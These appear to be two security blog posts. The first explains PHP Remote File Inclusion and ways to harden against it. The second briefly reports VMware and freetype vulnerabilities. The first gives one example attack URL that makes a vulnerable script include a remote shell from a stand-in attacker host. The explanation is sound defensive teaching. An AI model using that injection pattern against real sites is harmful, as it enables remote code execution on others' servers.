PHP is a scripting language that is deployed on countless web servers and used in many web frameworks. “PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML.”[1] In 2007, at least 20 million websites had PHP deployed. The exponential growth of PHP came from the development of LAMP/WAMP stacks. These stand for Linux/Apache/MySQL/PHP and Windows/Apache/MySQL/PHP respectively.

These ensure that deployment of PHP applications are simple enough for the most novice web developer. Many of you may have heard of WordPress, Drupal, or Joomla. These are common web applications that are written entirely in PHP. Many sites run PHP as their main scripting language, such as Youtube, Facebook, Digg, and Wikipedia.

PHP also powers cybercrime. A large majority of publicly disclosed vulnerabilities are PHP related. In 2009, 5733 PHP Remote File Inclusion vulnerabilities were disclosed.[2] In situations where exploiting PHP RFI is possible, most likely SQL Injection and Cross Site Scripting are all possible. This is due to the exploits having the same root cause or lacking input validation.

What is a PHP Remote File Injection (RFI) attack? A PHP RFI attack occurs when there is unvalidated input to a PHP script. This allows PHP code to be injected by a malicious person. For example, a typical PHP URL would look something like this:

www.example.com/errors.php?error=errorsfile.php.

How can this be abused to cause PHP RFI? The errors.php script is taking a file as input, which in the example, is errorsfile.php. If the site is vulnerable and does not have input validation, any file could be used as input, even files from remote servers. When the vulnerable server requests www.example.com/errors.php?error=http://evilhaxor.com/remoteshell.php, the remoteshell.php file will be processed by the web server. Attackers can do quite a bit with remotely included PHP files, including opening a shell, enumerating users or programs, and defacing the website. Basically, whatever user the web server is running as, an attacker can run commands as that user.

How do we fix PHP RFI? There are several variables within the PHP configuration that can be set to provide a more secure environment for PHP code to run in. These are register_globals, allow_url_fopen, and allow_url_include. In an ideal world, we would be able to set all of these variables in the php.ini file to OFF. However, in most cases this will break applications dependent on these functions. A thorough review of their usage should be done before setting any of them to OFF. Another solution is to implement secure coding practices in PHP, and to implement input validation.

Detailing input validation methods and ways to securely code PHP is too complex for this article. However you can discover more by reading the OWASP Top 10 entries for PHP RFI, and the Web Application Security Consortium article on PHP RFI. Both will help you learn about this threat and take precautions for your own network.

Multiple vulnerabilities were released for what looks like most versions of VMware. VMware Workstation, Server, Player, and ESX Server contain two vulnerabilities. The first of these is an unspecified error in the “OpenProcess”. This can be exploited by local users to escalate their privilege. From some limited Google searches I found that “OpenProcess” is an API function that must be being used by VMware’s core application.

The next vulnerabilities isn’t actually a VMware vulnerability as it is a freetype font vulnerability. CVE-2008-1806, CVE-2008-1807, and CVE-2008-1808 describe vulnerabilities in the font that can lead to the exploitation of systems (applications) using them. The same is true in VMware, if an application is using these fonts, then it’s possible to compromise the system via exploitation of the vulnerable application.

There appears to be an updated build for all version except ESX, which has an update pending.